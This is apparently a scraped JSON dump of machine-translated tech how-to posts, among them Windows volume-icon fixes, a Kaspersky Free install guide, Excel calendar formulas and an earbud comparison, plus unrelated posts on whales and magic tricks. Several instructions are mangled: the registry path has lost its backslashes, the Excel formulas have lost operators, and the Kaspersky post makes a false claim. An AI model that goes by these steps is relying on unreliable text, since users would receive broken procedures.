double-click it to open the properties window (Properties).\n  Step 4: Finally on the Properties window, select Disbaled then click Apply , then proceed to check if the Volume icon is displayed.\n  4. Use the Registry to activate the lost Volume icon Step 1: First enter regedit in the Search box on the Taskbar or Search box on the Start Menu and press Enter. If the User Account Prompt dialog box appears, click Yes to open the Registry Editor window.\nStep 2: On the Registry Editor window, navigate to the key:\nHKEY_CURRENT_USERSOFTWAREMicrosoft WindowsCurrentVersionPoliciesExplorer\n  Step 3: In the right pane, find the item named HideSCAVolume , double-click it to open the Value Data window, change the value in the Value Data frame to 0 and click OK.\n  If a warning dialog box appears, click Yes to restore the lost Volume icon in the Taskbar.\n5. Through Settings Step 1: In the Windows search bar, enter the keyword Settings and access the results.\n  Step 2: At the Settings interface, you access the System .\n  Step 3: On the left menu, select Notifications \u0026amp; Actions and click the Turn system icon on or off option on the right.\n  Step 4: In the Turn system icon on or off window, check whether the Volume has turned ON or not. If the horizontal bar is left out, it means we have turned OFF and the icon cannot appear on the Taskbar. To turn ON mode , turn the horizontal bar to the right .\n  This can be done with many other icons when you want them to appear or hide in the Taskbar when ON or OFF mode is set.\n6. 3rd application In case the Volume option is hidden in the System, we can't do it the same way.\nStep 1: First you need to download the Restart Explorer tool to your computer under the link below. Next, extract this .ZIP tail file .\nDownload the Restart Explorer tool for free   Step 2: After decompressing successfully, open the folder and run the RightClick Explorer Restart.exe file .\n  Click Install to install.\n  Step 3: After installation is complete, type Task Manager into the Windows search bar and access the results.\n  Step 4: In the Task Manager interface, select the Process tab. Here, you right-click Windows Explorer and select Restart .\n  After waiting a few seconds for Windows Explorer to restart, the Volume icon will return to the Taskbar.\nStep 5: If you still don't see the Volume icon appear, press the Win + R combination and enter the keyword gpedit.msc in the Run dialog box , click OK to access.\n  Step 6: The Local Group Policy interface appears. Here, you access the directory at the following link:\nUser Configuration\u0026gt; Administrative Templates\u0026gt; Start Menu and Taskbar\n  Step 7: You double click on Start Menu and Taskbar and the list appears on the right. Find and double-click Remove the volume control icon .\n  Step 8: Soon a custom dialog will appear. Click the Not configured or Disabled box . Click Apply then OK to save the settings.\n  Finally, let's restart the computer and see if the Volume icon has returned to the Taskbar.\nRefer to the following articles: 8 easy ways to free RAM make the machine run faster Instructions for dividing hard drives right in Windows 10 Ways to turn off your computer on Windows 10 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZK2glWLDsLjUppxmoZOku26wyKyYqaiVlr%2B0ec6nZK2glWLBor%2FKm5irZaeeu6W71qxkamg%3D\n","link":"/post/how-to-retrieve-the-volume-icon-disappears-on-the-taskbar-windows-10/","section":"post","tags":null,"title":"How to retrieve the Volume icon disappears on the Taskbar? Windows 10?"},{"body":"One of the world famous anti-virus and computer security brands is Kaspersky. And to use Kaspersky, users are forced to spend a one-year usage fee.\nRecently, however, Kaspersky has released a free antivirus version, an international version called Kaspersky Free. Users can download and install it for free, but still have strong security features like other Kaspersky programs. So how to use Kaspersky Free to kill viruses, the following article of Network Administrator will help you know how to install and experience the software.\nStep 1: Click on the link below to download the Kaspersky Free software installation file to your computer. After that, we launch the packet to proceed with the installation.\nDownload Kaspersky Free software At the first interface click on the Continue button.\n  Step 2: Switch to the new interface, you will be prompted to install the Kaspersky Security Network program, a completely free VPN application with the ability to increase the security of your computer.\nIf there is no need to install, you leave the area at the suggestion and then click the Install button at the bottom of the interface.\n  Step 3: Finally we wait for the installation process of the file package. During the download and installation process, the computer needs a stable Internet connection to load and install the data automatically until it is complete. The installation process is fast or slow depending on the computer configuration.\n  Step 4: When the installation process is complete, click the Done button to finish.\n  You wait for the process to start Kaspersky Free on the computer.\n  Step 5: Switch to software license registration interface. If you already have an account using Kaspersky, you just need to enter the interface. If not, click the Register now button.\n  Enter an email address, password including numbers, lowercase letters and capital letters, must not have a space in the password. Then the user presses the Create an account button to create a Kaspersky account.\n  So we have successfully activated Kaspersky Free software on the computer.\n  Step 6: At the interface of the program we will see the expiry date of the program is 1 year. When the time is up, the reactivation will proceed automatically. The security features that appear on the interface are all basic features.\n  With advanced features like Safe Money, Privacy Protection, Parental Control or Protection for all devices, users have to pay to use it .\n  Step 7: Next, on the main interface, click Database Update to update the database.\n  Then click the Run update button to proceed with the update.\n  Step 8: Switch back to the main interface, click the Scan button. Kaspersky Free offers users 4 virus scanning options on different computers, including:\nFull Scan: Scan the entire system. Quick Scan: Quick scan. Selective Scan: Scan according to the selected partition. External Device Scan: Scans external devices such as portable hard drives, USB devices connected to computers.   In the case of a selected partition , click the Add button to select the folder on the computer.\n  Appears a folder on your computer, click on the drive partition or the folder you want to scan and click the Select button below.\n  After selecting the item, press the Run scan button to Kaspersky Free to scan the computer system according to the user's choice.\n  Step 9: The scan will take place shortly thereafter. When finished, Kaspersky Free will send the scan results to the user. You click on Detailed report for more details about this scan report.\n  Step 10: Next, click on the gear icon , and then click on Protection . Users will be provided with some additional security options that the program provides. We can turn it on or off to use these options.\n  Thus, Kaspersky Free has scanned the system on the computer. The scanning speed of the software is very fast and can detect viruses, or programs that are harmful to the system.\nBesides, Kaspersky Free does not take up too much space on the computer, the level of resource use of the program when operating is always in a stable state, limiting the slow or slow machine conditions when using Kaspersky Free . You can check in the Task Manager section.\n  Overall Kaspersky Free is an effective antivirus program with basic security features, like other Kaspersky programs. Besides, users can use it for free and reactivation of Kaspersky Free program on personal computers is easy.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqsrdKpnKurm656p77EnmSapqSew6q%2B1KxkrKeWqcSivsQ%3D\n","link":"/post/how-to-use-kaspersky-free-antivirus-software/","section":"post","tags":null,"title":"How to use Kaspersky Free antivirus software"},{"body":"The alignment of the margin in Word is simple and routine, if we want to align it to produce a better text format, especially when printing Word or Excel documents. And the normal alignments are all in standard cm size for users to easily and conveniently adjust the margins. However, for some reason your Word size is inched into inches, making it difficult to align text on Word. So how to convert the unit format from inch to cm? In this article, we will show you how to convert inch to cm with Word 2007.\nStep 1: At the main interface of Word 2007 documents, we will click on the top left Office icon . For other Word versions, click on File.\n  Step 2: Next in the new interface, below we will click on the Word Options button.\n  Step 3: In the Word Options interface, the menu section below we select Advanced . At the right interface, the reader looks to the Display section. At the bottom, Show measurements in units of item, click on the drop down arrow and select Centimeters . Finally click OK to save the change.\n  Thus, we have completed the unit conversion operations from inch to centimeters. With this approach, it is easier for us to align the format for the whole text. You can apply this method to other Word versions, including Word 2016. Or we can use this way to change different sizes according to the needs and purposes of each person. .\nRefer to the following articles: 8 tips or handling columns in Microsoft Word Instructions for printing two-sided paper in Word, PDF, Excel How to convert PDF files to Word Online very fast I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCoZinn5Vitq%2Bvx2arqGWTonqquoywpqucXWd9cYM%3D\n","link":"/post/instructions-on-how-to-change-inch-to-cm-in-word-2007/","section":"post","tags":null,"title":"Instructions on how to change Inch to cm in Word 2007"},{"body":"The killer whale, also known as the big black dolphin, the killer whale is a species of toothed whale belonging to the ocean dolphin family. The killer whale has black cavities on its back, has white spots on its chest and sides, on and behind the eyes.\nAdult male killer whales average 6 to 8 meters long and weigh more than 6 tons (about 5.9 to 6.5 tons). This species has a maximum travel speed of up to 56 km / h, a champion of the fastest moving marine mammal.\nKiller whales are the top predators of the ocean, even the great white sharks and the sea god are frightened. They hunt in groups and have an extremely intelligent and clever way of hunting, which can knock down large prey.\nThe baby gray whale is one of the killer whale's favorite prey.\nIn the video below, a group of killer whales attacked the mother of the gray whale. Their target is the protein tongue of a baby gray whale. The killer whale attacks the young whale's weakest point, the fin, making it unable to swim. After killing the young, they eat its protein-rich tongue, and the body will sink to the bottom of the deep sea and feed the creatures of the sea floor.\nncG1vNJzZmismaXArq3KnmWcp51kw6qwxKhkpKGcobKzedahmKWdXZeutcDLnmSgqpWWwW6z0ZqwZq%2BYlrmmedahpmaho2LBqbGMrJyaZZueu6g%3D\n","link":"/post/killer-whale-battle-great-gray-whale-who-is-the-sea-king/","section":"post","tags":null,"title":"Killer whale battle great gray whale, who is the sea king?"},{"body":"The world of Genshin Impact is filled with fearsome monsters ready to take on the Traveler at any moment. Most enemies have one or more elements in the skill set, which is also a prominent feature of this game.\n With recent rumors claiming that the addition of a new element is imminent, players can expect a host of new enemies with the Thao element to appear. A recent leak of Genshin Impact has revealed more information about one of the upcoming new World Bosses.\n With the entire Inazuma storyline coming to an end, fans are expecting a brand new Genshin Impact area to appear in upcoming updates.\nAccording to many leaked sources, the new area will finally bring the long-awaited Thao element into the spotlight. A well-known leaker named Project Celestia has revealed more details about the game's first Thao Elemental World Boss.\nThe current beta includes several files named 'Jade-Plumed Terrorshroom', which is expected to be its official name. This Boss seems to drop an item called 'Nagadus Emerald Gem', which seems to be used as an upgrade material for the character, possibly a Grass-type character in the future.\n Project Celestia also announced that this new Boss may not be present in the upcoming Genshin Impact 2.8 update. Assuming that the previous leaks about the 2.8 version of the last Inazuma update are true, players can expect the new World Boss to appear in patch 3.0 and possibly in late August.\nHowever, recent rumors have revealed that the 2.7 or 2.8 update will be shorter than the regular updates to make up for the recent three-week update delay, which means 3.0 could arrive. weeks earlier than expected.\n Thao is the only Genshin Impact element not available on any playable characters at this time. There is a lot of talk surrounding its arrival, and it is probably the most anticipated addition to the game. The arrival of a new element will likely affect the current character's strength rating as it will introduce additional Thao elemental reactions.\n The new major update will also introduce a new country called Sumeru. Many NPCs in the game describe Sumeru as a mysterious region of forest and desert. When it comes to the new Thao elemental characters, Baizhu and Yaoyao have been rumored to be coming since the game's return in 2020. Yaoyao is the only original beta character missing from the playable list. Okay. In addition to these two, players can expect the Guardian God of Sumeru, Kusanali, to arrive shortly after the 3.0 release.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9NmpKiqlWK2r7LOq6SarJmku26twaisrWWknbJuusSwZLCnoqGxbq7OrKpmm5%2Bitq%2BzjKymqKY%3D\n","link":"/post/more-information-about-the-new-world-boss-coming-soon/","section":"post","tags":null,"title":"More information about the new World Boss coming soon"},{"body":" Discover the secret of handcuff magic tricks locked in closed containers Discover the secret behind the 'horror' sword swallowing magic Many people think that magicians always bring joy and magic in our lives, but there are many people who are skeptical and hard to believe in those mysteries. For example, the famous magician Penn and Teller broke all the problematic theories about the end of the world and the omnipotence of miracles in their program. However, these magical tricks are still often done by magic experts every day.\nIf you look at these pictures, you will understand how we are being \" fooled \" in the magic tricks of the magician.\nObviously, the nature of a fascinating magic trick is skill , performance skills and a bit of visual trick tricks . And these are the somewhat truthful facts to \"rip off\" 8 \"immortal\" magic tricks - the only thing you see turns out to be no miracle !\n1. Turn this person into another person   Usually people will see the magician cover himself with a black cloth bag and the assistant will tie that bag. After that, the magician was placed in a wooden box and locked the trunk. The assistant will perform some movements beside the ark so that the audience can confirm that the trunk is locked and there is no way to open it without the key.\nNext, the assistant will stand above the trunk, slowly pull up the black scarf above the head and then . she disappears, instead of the magician's appearance.\nSecret : On that big black bag, there is a zipper that can open completely inside. The trunk surface is also specially designed to open easily from the middle, without affecting the lock. When the assistant picked up the cloak, the magician came out of the bag, took his coat and the assistant would jump into the bag to change her outfit. The couple worked quickly and combined the idea to make the show even more spectacular . Along with acting ability to attract the audience, this magic swapping position has been successfully completed, deceiving the audience easily.\n2. Throw knives at people   At first glance, this procedure can be very dangerous. But the truth is that people are fixed to the goal always safe.\nSecret: The magician doesn't throw knives. Instead, he hid knives in a secret bag with lightning speed. There is a helper behind the target shooting with a special mechanism on the back of the target. The entire procedure is quick and coordinated , which is why we think the knives are hit.\n3. Human stretching screen   With this magic trick, the assistant will go into a large box where only the head, hands, and feet stick out. The magician will move the parts of the assistant body in ways that seem impossible.\nBefore the performance, the magician would prove to the audience that the inside of the box was empty, completely empty but there were 2 people behind the frame. And then when the performance starts, the magician will start . separating her head, hand, and foot parts ridiculously .\n    Secret: To have this magic show requires 3 assistants instead of 1 person as the audience still thinks. When the magician opened the door to prove there was no one inside, there were actually two other assistants standing in the back of the door.\nAnd then 2 people still reach their hands out, their legs out \" waving \", the other will stick their head out. Even though the magician pulled his head up or down, his hands and feet were stretched, the assistants were still unharmed.\n4. Transfer water into ice   The magician poured water into the glass but one stone fell out of the glass, instead of water. Of course, there is no violation of any physical laws.\nSecret : There is a sponge hidden inside the water. And a stone is also hidden inside the glass. You can perform this procedure at home, but remember that \" magic \" glasses should not be transparent.\n5. Turn on the pigeon   People often admire the performance of dragging one or more pigeons out of a magician's box? But strangely, when I opened the box, there was no bird hidden inside.\nSecret : Don't believe it, because they were hidden in a secret place in the box. Specifically, at the top of the box, this compartment is quite small and made as \" invisible \" but contained in it are doves.\n6. The magic live buried     First, the magician will lie in a trunk, his hands and feet bound tightly to the board below. The partner will dig a hole and put the trunk down. They landed above but strangely only a few minutes later, the magician appeared in another place as if nothing had happened .\nNot many magicians agree to perform this stage because they are quite risky. However, if trot is completed, it is an extremely attractive performance.\nSecret : The magician's hand lock, foot lock can be easily opened. And the location of the trunk was calculated, preparing a small excavated tunnel with full support to help the magician not suffocate under it. This small tunnel will reach the ground. The magician will escape, surprisingly appearing.\n7. Stab the needle through the skin     The magician was intimidated by the audience with a show of piercing through the skin.Blood will leak and with a painful scream - this will make the audience \" believe in sorrow \" and the magic show adds success.\nSecret: But you know, the secret of this performance lies in the clever makeup . A transparent layer of glue was covered on the magician's upper arm. He will also add a layer of foundation cream to the skin color. And now, the needle piercing through my hand was not difficult. Add some pre-prepared fake blood and performance skills - this magic is always highly effective.\n8. Swallow the sword  © Česko slovensko cheek talent / youtube\nThis spectacular secret depends entirely on the magician's actions. The focus is that the sword should go in a particular direction so as not to hurt any internal organs . The throat and throat should form straight lines. Magicians have to practice a lot if they want to do this.\nDo you believe in magicians? Or do you understand and reveal all their secrets in the blink of an eye?Please share your experience in the comment section below!\nRefer to some more articles:\nFlipping the classic escape magic: sticking your feet, handcuffs, hanging upside down in the water box and still escaping safely Reveal the secret magic of classic magic going through the Great Wall of the \"witch\" David Copperfield Decoding the magic screen walking on the water makes many people think of the mysterious power Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kv6bCxJqjZnBdnrquu9GtmKVlnZa0qq%2BMramim5uoerW0xGamp6SpYsGptc2gZLKnpWLAprGMrayrppWZerDB02arqGWSmnqvu4ymmKChk2KutXnApaM%3D\n","link":"/post/reveal-8-immortal-magic-tricks/","section":"post","tags":null,"title":"Reveal 8 'immortal' magic tricks"},{"body":"There are a number of reasons why computer screens are turned off randomly. Some reasons are directly related to the screen and other reasons related to computers.\nTip : If the screen is still lit, but the signal is lost (for example, the power light turns from blue to orange), most of the time it is a problem with the computer, not the screen. If the screen light is off, the screen almost certainly has a problem.\nNote : If you have left the computer for a while and the screen is off but will \"wake up\" if you click or press a key on the keyboard, the cause of the screen is turned off due to the power management feature. .\nCause the computer screen is turned off The screen is too hot Loose cable Poor quality screen Problem with motherboard or video card The screen is too hot   One reason the screen might turn off is because it's too hot. When a screen is too hot, it will turn off to prevent damage to the circuits inside. Causes of overheating include accumulated dust, high ambient temperature or humidity, or clogged vents and do not allow heat to escape.\nIf the screen is too hot, it is best to unplug the monitor and let it cool completely before using it again. Then, if you have a pneumatic spray (electrostatic type for electronics), try to clean all the dust in the monitor case. If the room where the screen is being used is very hot, try to cool it by turning on the fan or air conditioning system. Wait until the room is cooler, before trying to use the screen again.\nIn addition, if you are using an old CRT monitor, upgrading to a newer flat screen will solve many heat-related problems in an overheating environment.\nInstructions for cleaning laptop screens are extremely simple at home Loose cable   Although not common, if the power cord is loose and is not firmly connected to the back of the screen, it may cause a power outage, resulting in the screen being turned off. Make sure the power cord is firmly attached on the back of the screen. It is also possible that the power connector in the monitor is broken and does not receive adequate power from the power cord. In this case, it is best to replace the screen instead of trying to fix it.\nPoor quality screen   Another reason that the screen may turn off is due to a problem in the circuit. There may be a short in the wiring or some other error in the circuit, causing the image to become black or make the screen completely off. In this case, you can do nothing but buy a new replacement screen. Experts often do not recommend users to repair the screen because the repair cost may be higher than the price of a new monitor. You can bring the monitor to a computer repair shop to check it out, but they'll probably recommend replacing the screen.\nExperience choosing to buy the best computer monitor Problem with motherboard or video card   If the screen is still active, but you lose the video signal, it is likely that the problem with the video card (also known as a video card) or motherboard in the computer. A sudden shutdown of a computer can also result from a problem with the computer, the video card is too hot or defective.\nIf the video card is not a problem or if the video card is on the motherboard, the problem may be on the motherboard. A faulty capacitor or other components on the motherboard may cause the computer or screen to suddenly turn off.\nThe simple way to fix computer errors is suddenly turned off See more:\nHow to fix the computer screen error is reversed How to fix TeamViewer black screen error The Mac error displays a blank screen, this is how to fix it ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqyYmnqku8yprK2domLApL7EnqVmq6WZsaa6y7Jkra2io7Klec6fnQ%3D%3D\n","link":"/post/why-is-the-computer-screen-suddenly-turned-off/","section":"post","tags":null,"title":"Why is the computer screen suddenly turned off?"},{"body":"Young children learn language better, although the adult's brain can learn more effectively, but the child's brain is malleable. Like spoken language, it is a great idea to have children exposed early to the programming language. Code learning applications provide a lot of programming knowledge and accompanying exercises, which is an exciting environment that helps children interact with programming without feeling dry. Instead of sending children to a code learning camp, check out the seven best code learning apps for kids who love programming later.\n1. Kodable   Kodable is developed for children from kindergarten through fifth grade. Although the K-3 program is primarily a junior program, students in grades 4 and 5 may switch to more difficult topics. Kodable complies with JavaScript instructional standards. Because JavaScript is a great language for beginners, Kodable focuses on promoting basic programming skills.\nIn addition, children are developing programming skills through lessons that provide the necessary knowledge and play, helping children not to be bored while learning the dry programming language. However Kodable does not let the programming concepts be too simple, it even introduces the concept of loop loops and branching techniques. However, Kodable mainly introduced the original programming concepts, helping children have a preliminary look at programming, writing code. In addition, the application makes learning JavaScript programming language more interesting by using gamification. Overall, Kodable is an 'introduction' program for programming.\nDownload : Kodable for iOS (Free) and visit kodable.com website to play online on the web.\n2. Daisy the Dinosaur   In fact Daisy the Dinosaur is a programming game, it can be one of the best code learning applications for children. The mini games in the app will teach children the basics of programming. For example, loop challenges encourage children to use word commands to make Daisy - the dinosaur perform different moves. However, one thing to note is that the spin command will be limited to only once, but you can see the hint of using the spin command in the 5-repetition command.\nOne of the reasons Daisy the Dinosaur is one of the best code learning applications for children who love programming because the character is a dinosaur - the favorite animal of children, although it focuses on coding. and more challenges. Another reason is that Daisy the Dinosaur doesn't seem to have technology, it's just a puzzle game and a simple word. Daisy Dinosaur is a free application, simple and not much technical, suitable for children.\nDownload : Daisy the Dinosaur for iOS (Free)\n3. Think and Learn Code-a-Pillar   Fisher-Price's Think and Learn Code-a-Pillar is both an application and a toy that can be used offline. Although this is a great idea for children to start learning technology and programming, looking too much at the screen is not a good thing. Therefore the Think and Learn Code-a-Pillar application is a combination with games and applications.\nWith the application, children solve puzzles related to the basic concepts of computer programming and coding. The application is developed for ages 3 to 6. Although it has a Code-a-Pillar game toy, the application is completely independent, so it is best for adults to monitor children when using the application. In addition, you can turn off music and effects to avoid distracting children when using.\nDownload : Think and Learn Code-a-Pillar for Android (Free)\nDownload : Think and Learn Code-a-Pillar for iOS (Free)\n4. Gamestar Mechanic   Gamestar Mechanic is a web-based application that teaches children to make their own video games. Designing games appeals to children more than web development and applications. In addition, the game design not only helps children develop skills but also creates their own game. However, because Gamestar Mechanic focuses on game design, it's quite difficult, don't expect it to be as simple as match games like Think and Learn Code-a-Pillar.\nFor kids around 7-14, Gamestar Mechanic is the perfect application. It includes courses, game creation and features that both learn and play with gamification. You need to perform the tasks in the game and earn items to create the game. The application has a strong support community, making it an excellent learning code app for teenagers.\nDownload : Visit gamestarmechanic.com page to play the game.\n5. Minecraft   Minecraft is a popular game because it is designed in the style of 'sandbox' (sandbox). Although it is not developed for children, Minecraft and its content provide a safe environment for programming. In the game there are several mods dedicated to children like LearnToMod. You can use Minecraft to teach children about servers and set up a Linux game server. In fact, Linux is very suitable for children and teaches them many valuable life lessons.\nHowever, Minecraft is not pre-configured for children, so adults need to make some initial settings. Once set up, LearnToMod provides a basic amount of programming knowledge.\nDownload : Minecraft for Android (Paid)\nDownload : Minecraft for iOS (Paid)\n6. Tynker   Like many children's apps for learning programming, Tynker conveys coding with pleasure. Children can code robots and unmanned aircraft, mod Minecraft, build apps and games, or explore STEM.\nChildren start with code using image blocks before starting with Python and JavaScript. The program focuses on projects so there is an attractive value proposition for children. Because Tynker starts with image blocks before switching to actual code. A comprehensive environment with increasing levels of progress makes Tynker one of the best means for children to learn programming.\nDownload : Visit website tynker.com to play Tynker online on the web. It has two options, free and paid for 8 USD / month.\n7. Nancy Drew: Codes \u0026amp; Clues - Mystery Coding Game   Nancy Drew: Codes \u0026amp; Clues - Mystery Coding Game is a learning and playing app. It includes a STEM theme with its own character. In this application children need to drag and drop blocks of code in images into the right position. In addition, it also has mini games related to costume selection. According to Common Sense Media, Nancy Drew: Codes \u0026amp; Clues - Mystery Coding Game is rated 3/5 for educational value and 4/5 for ease of play. Because of its play style, Nancy Drew is one of the best coding apps for kids to learn programming.\nDownload : Nancy Drew: Codes \u0026amp; Clues - Mystery Coding Game for Android\nDownload : Nancy Drew: Codes \u0026amp; Clues - Mystery Coding Game for iOS\nAlthough programming is relatively difficult, parents should let their children learn early. Seven applications that write the code above provide the best programming opportunities for children. Please choose an appropriate application.\nSee more:\n10 fun educational apps for kids on the iPhone Top scientific applications for children on Android 5 apps that keep children safe ncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZpufmbJuuMSaqaehnpx6orzPrGSfp6JiuKqw0mauoaddoby3sYypqaifopa6rrXNoA%3D%3D\n","link":"/post/7-best-code-learning-apps-for-kids-who-love-programming/","section":"post","tags":null,"title":"7 best code learning apps for kids who love programming"},{"body":"There's no question that the\u0026nbsp;AirPods Pro\u0026nbsp;are excellent wireless earbuds, with effective noise canceling and tight integration with\u0026nbsp;iOS. But there are other options out there that cost less than the\u0026nbsp;AirPods' $250 (£249 or AU$399) asking price, such as the\u0026nbsp;Galaxy Buds Plus,\u0026nbsp;Amazon Echo Buds\u0026nbsp;and\u0026nbsp;Jabra Elite 75t. After using both the AirPods Pro and\u0026nbsp;Elite 75t for several months, here's how they compare on everything from sound quality to battery life to how comfortable they are to wear. \u0026nbsp;\nAirPods Pro win with transparency mode, but you'll want to listen to the Jabras more Both of these earbuds have admirable sound quality. When listening to music, songs across a variety of genres sound more exciting and dynamic and have a much punchier bass response on the Elite 75t than the AirPods Pro when left on default settings. Jabra also has an app (iOS and Android) with equalizer presets as well as a full EQ you can tweak to create your own sound profile.\nThe AirPods Pro have an adaptive EQ that's constantly working behind-the-scenes to tweak the sound according to the shape of your ears, but there's no dedicated app or consolidated interface to adjust the sound to your liking. You can use an equalizer from apps such as Spotify or Apple Music if you choose.\n  The AirPods Pro have the edge on call quality for both the caller and the receiver. When you're making calls, having active noise canceling (ANC) turned on makes it feel like you're having a quiet conversation even if there's hubbub around you. The microphone's position also helps clearly isolate your voice for the other person. That said, callers remarked that the sound of my voice from the Jabras was a little louder than when I made the same call with the AirPods Pro, although they could hear more background noise. Jabra also has a sidetone feature that lets you hear more of your voice when making calls. (So you can avoid shouting!)\nListen to a microphone sample from each in the video above.\nTransparency mode on the AirPods Pro (called Hearthrough on the Elite 75t) pipes in some outside sound so you can be more aware of your surroundings. In my experience, Apple's transparency mode sounds more natural and I'm able to use it for a longer stretch of time than the version on the Jabras, which sounds a little too tinny.\nNoise canceling on AirPods Pro is nice, but you may not need it The ANC technology on the AirPods Pro does an excellent job of suppressing background sound, making the music and podcast-listening experience incredibly satisfying. While the Jabra Elite 75t doesn't have ANC, it does block out a significant amount of external noise thanks to the in-ear design and snug fit of the interchangeable tips.\nThe difference between active (AirPods Pro) and passive (Elite 75t) noise canceling is not as dramatic as I initially thought. There are only two situations -- commuting or plane travel -- where I'd absolutely choose a pair of ANC earbuds over a passive pair with a tight seal. For my ears, the passive blocking on the Elite 75t is so effective that I didn't miss ANC as much as I thought I would.\nThe Elite 75t give a snug, secure fit The AirPods Pro have always been comfortable to wear for longer stretches throughout the day, but the smallest ear tip in the box is still a tad too big for my teensy-tiny ear canals. The seal is tight, but not as snug as Elite 75t's. The AirPods Pro also refuse stay in my ears as snugly as the Jabras when I was exercising, but your experience will vary.\nBoth cases conveniently store and charge the buds at the same time, though only Apple's case will charge wirelessly. (Jabra also sells the Elite Active 75t which have extra water resistance and a wireless charging case.)\n  Siri fans get the most out of the AirPods The voice-activated \"Hey, Siri\" feature lets you call on the assistant hands-free. Siri also can read your text messages aloud when you receive them, which is great when you can't reach your phone or need to be hands-free. You can use all the voice assistants on the Elite 75t, even Alexa, although you will need to press the button on the buds to activate.\nConnections and stability: advantage AirPods Pro The AirPods Pro seamlessly connect to iOS devices -- I experienced few dropouts or connectivity issues.\nThe Jabras were stable, as well, though I noticed a few more dropouts when using them paired to a computer than to a phone. I do enjoy the Jabras can connect to two devices at a time and you hear an audio prompt in your ear to let you know it's connected to more than one device.\n  The AirPods Pro have a clickable stem that lets you skip forward and back between songs, flick between ANC and transparency mode, or activate Siri. You can customize it easily\u0026nbsp; from the iOS settings menu. The Elite 75t have a physical button on the earbud that has preset controls, although Jabra is supposed to be releasing an update that will let you change the button presets in the next few months.\nJabra wins on overall battery life The Elite 75t battery lasts a lot longer than that on the AirPods Pro. Jabra says you'll be able to get up to 7.5 hours of listening time from one charge. Over the past few months, I averaged about 6.75 hours of listening time. Apple promises up to 5 hours of listening time on the AirPods Pro with ANC and transparency mode off, or 4.5 hours with ANC active. I regularly get almost 4.5 hours with ANC turned on from a single charge.\nThen there's also extra juice provided in the cases: 24 hours of total listening time for the AirPods Pro and 28 hours from the Elite 75t.\nAre the AirPods Pro or Jabra Elite 75t the best wireless earbuds? That really depends on how you use your earbuds. Are you a music lover or a multitasker? For listening to music, I always go for the Jabra Elite 75t. If I want to spend the day jumping between calls and listening to a little bit of music, I'd choose the AirPods Pro.\nncG1vNJzZmismaXArq3KnmWcp51krqq%2Bz6ibrGWgp7xuwtJmoZqaopZ6prjIrZxmb2WpenR5zKilraCjYrmiwMSr\n","link":"/post/airpods-pro-vs-jabra-elite-75t-3-months-later/","section":"post","tags":null,"title":"AirPods Pro vs Jabra Elite 75t: 3 months later"},{"body":"You want to create a calendar, insert a calendar in Excel to print out using, or make a better spreadsheet. The following article gives detailed instructions on how to create a calendar in Excel from simple to advanced for your reference.\n1. Create a calendar in Excel one year one.  For example, create a calendar in 2018.\nStep 1: Create a table in the form of January in the year, comparing the date of January 1, 2018 on the date. Since the first day falls on the second day, the second day value is January 1, 2018.\n  Step 2: The value of day 3 is equal to the value of cell in day 2 plus 1, similar to the value calculation for the remaining cells. Particularly, the first cell of the 4th row you need to apply the If function to avoid cases that exceed 31 or 28 days by entering the formula: = IF (H10 \"\", IF (MONTH (H10) MONTH (H10 + 1), \"\", H10 + 1), \"\"\n  Step 3: The value of the adjacent cell is calculated according to the value of the cell before it -\u0026gt; enter the formula: = IF (B11 \"\", IF (MONTH (B11) MONTH (B11 + 1), \"\", B11 +1), \"\")\n  The results created the calendar for January:\n  Step 4: To display only the date value in the calendar -\u0026gt; select the entire January content -\u0026gt; right-click and select Format Cell in Custom section enter d -\u0026gt; OK:\n  After pressing Ok to get results:\n  Step 5: You need to reformat the table before copying:\n  Step 6: Copy the newly created table into 3 tables as shown:\n  Revise the day of the month accordingly, determine what day the last day of the previous month is -\u0026gt; then revise the first day of the next month to fall on, for example, the 31- 1 falls on Wednesday -\u0026gt; day 1-2 falls on Thursday:\n  Step 7: After 3 months of editing, copy 3 months for a full 12 months -\u0026gt; proceed to correct the date (note only correcting the first few days, the next days automatically jump according to the formula):\n  After editing, you have created a 12-month calendar for 2018:\n  Step 8: Add to mark some holidays in the year, for example, have 2 holidays 30-4 and 1-5 you create a data area containing those 2 days -\u0026gt; select from the first day of the year to the last month - \u0026gt; go to the Home tab -\u0026gt; Conditional Formating -\u0026gt; New Ruler:\n  Step 9: The dialog box appears enter the formula: Match (B7, $ Z7 $ Z13,0). Where B7 is the first cell of the first month, $ Z7 $ Z13 is the data area containing the date to be marked. Click Format to format the background color and text for the cell containing the date to highlight:\n  Step 10: Select the background color and font color for the cell to be marked -\u0026gt; OK:\n  The result created a calendar for 2018 and the holidays were marked in red. Also you can mark special dates for yourself and your family:\n  You can also add family photos . The last thing you need to do is print your own calendar. Good luck!\nMethod 2: Create a calendar in Excel for many years Here you can create calendars for different years, depending on your input.\nStep 1: Insert 2 combobox to create month and year selection for calendar:\n  Step 2: Create two corresponding data columns containing the month of the year and contain the years you want to create a calendar, for example, here create a calendar from 1990 to 2080, this value is chosen by you. Next right-click on the newly created combobox select Format Control -\u0026gt; dialog box appears -\u0026gt; select the Control tab -\u0026gt; in the Input range field select the data area containing the months, Cell link item you select the value of cell A3 to get The month's value is linked to the calendar -\u0026gt; click OK:\n  Step 3: Similar to creating data for the year, take cell A4 as the data link cell:\n  Step 4: Get the combobox value of the user selected by using the Index of the month data area with the ordinal number in cell A3 to get the associated month value to create that month's calendar:\n  Step 5: Similarly, take the value of year:\n  Step 6: Enter the formula: Datevalue ('1 -' \u0026amp; B3 \u0026amp; '-' \u0026amp; B4) to get the month and year values ​​to display the calendar:\n  Result obtained month and year users want to display the calendar:\n  Step 7: In the first cell of the Sunday test month by entering the formula: If (WEEKDAY ($ C $ 7) = COLUMNS ($ C $ 8: C8), $ C7, '') -\u0026gt; press Enter:\n  Step 8: At day 2 enter the formula: If (C9 ``, C9 + 1, if (WEEKDAY ($ C $ 7) = COLUMNS ($ C $ 8: D8), $ C7, ''))\n  Step 9: Copy the formula for the remaining values ​​in the same row:\n  Step 10: In the next row you do the same but take the value at the end of the row before it:\n  Step 11: In the last row of the month, you need to use the function to avoid adding more than 31 